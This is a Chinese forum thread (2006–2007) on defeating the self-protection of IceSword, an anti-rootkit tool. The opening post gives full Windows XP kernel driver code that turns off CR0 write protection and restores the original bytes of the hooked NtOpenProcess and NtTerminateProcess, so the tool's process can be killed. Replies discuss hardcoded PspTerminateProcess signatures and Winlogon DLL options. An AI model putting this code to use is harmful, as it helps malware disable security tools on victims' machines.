阅读:12928回复:44
突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]
IceSword的驱动对其自身进程做了保护,使恶意程序终止不了他。IceSword没有用HOOK SSDT的方法,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess几个函数,即修改函数前5个字节,jmp到他自定义处理函数例程里。
终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出,需要我们自己穷举特征码搜索来定位,或者硬编码之。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二中方法的具体代码,不过由于此篇文章出于科普目的,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已。NtTerminateProcess未导出,大家可以自己改成通过读取ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧,呵呵~ #include <ntddk.h> #define DWORD unsigned long unsigned char OldCode[5]="\x68\xc4\x00\x00\x00"; unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec"; #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DWORD OpAddr,OpAddr2; OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A); OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101); _asm { CLI MOV eax, CR0 AND eax, NOT 10000H MOV CR0, eax pushad mov edi, OpAddr mov eax, dword ptr OldCode[0] mov [edi], eax mov al, byte ptr OldCode[4] mov [edi+4], al mov edi, OpAddr2 mov eax, dword ptr OldCode2[0] mov [edi], eax mov al, byte ptr OldCode2[4] mov [edi+4], al popad MOV eax, CR0 OR eax, 10000H MOV CR0, eax STI } return STATUS_SUCCESS; } |
|
|
沙发#
发布于:2007-08-16 02:48
Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]
牛人...看得不是很懂,,, ![]() |
|
板凳#
发布于:2007-07-08 00:12
Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]
呵呵,都喜欢显摆啊,继续继续,找个板凳坐下看看 |
|
|
地板#
发布于:2007-07-05 17:20
Re:Re:Re:突破IceSword自身的进程保护  [ 2006/12/17 17:19 | by xyzreg ]
引用第41楼killvxk于2007-07-04 19:58发表的 Re:Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ] : 原来如此。 |
|
地下室#
发布于:2007-07-04 19:58
Re:Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]
引用第40楼zjjmj2002于2007-07-04 18:33发表的 Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ] : 某开源工程中的代码~ 正统ddk无法编译~ |
|
|
5楼#
发布于:2007-07-04 18:33
Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]
为啥子xyzreg公布PspTerminateProcess硬编码这么久都没看到有病毒木马用喃?是不是不好用得哇? |
|
6楼#
发布于:2007-05-15 10:44
Re:突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by
6楼太强了! |
|
|
7楼#
发布于:2007-05-13 20:55
还是暴力搜索管用些
|
|
8楼#
发布于:2007-05-09 09:46
他贴的不全,呵呵~
|
|
|
9楼#
发布于:2007-05-09 08:16
给你这个吧, PspTerminateProcess的硬编码~ 基本够用了
/*******************************************/ /* Internal data */ /*******************************************/ static NTUNDOC_OSVERSION g_aOsVersion[] = { { TEXT("ntkrnlpa 5.00.2195.1 (polish)"), TEXT("384D5A86189E80"), “TEXT("384D5A86189E80")”从何处获取呢 ? xyzReg? |
|
10楼#
发布于:2007-05-08 23:13
好久没来呢
|
|
11楼#
发布于:2007-04-08 16:52
GUI界面想要普通用户看到,需要SetDesktop啊~
|
|
|
12楼#
发布于:2007-04-08 15:54
几百年的老东西了也贴出来,。。,真没技术含量。。。。 是个人的都会
![]() |
|
|
13楼#
发布于:2007-04-08 15:37
引用第20楼killvxk于2007-01-18 18:31发表的“”: 这个办法好,俺已经试过了,不过还是怕被坏人使用,源代码就不贴了哈,不过有一个问题,用户界面只能在切换用户时才能看见,admin用户是看不见的,呵呵。 |
|
|
14楼#
发布于:2007-01-20 11:03
引用第29楼killvxk于2007-01-19 21:21发表的“”: 你肯定??测试过没有? 我们测试过好象不行,而且往MS发邮件,回答是不再支持了,所以现在我们只能用CREDENTIAL PROVIODERR来实现了,难道我们被忽悠了??? ![]() |
|
|
15楼#
发布于:2007-01-19 22:49
引用第26楼xyzreg于2007-01-19 17:56发表的“”: 可以让它结束掉.要处理. |
|
|
16楼#
发布于:2007-01-19 21:21
引用第28楼wowocock于2007-01-19 18:44发表的“”: NOTIFY DLL肯定可以用,因为M$说他还支持这玩意阿~ |
|
|
17楼#
发布于:2007-01-19 18:44
老V说详细点,反正GINA,和NOTIFY DLL是不能用了,还有那个DLL能用??
|
|
|
18楼#
发布于:2007-01-19 18:33
引用第25楼wowocock于2007-01-19 17:11发表的“”: LogonDLL 可以用~ |
|
|
19楼#
发布于:2007-01-19 17:56
引用第16楼cardmagic于2007-01-18 14:15发表的“”: 这种效果不是终止进程吧,而是让他死掉~ 记得前段时间EX_0FF放了个这种BIN~ |
|
上一页
下一页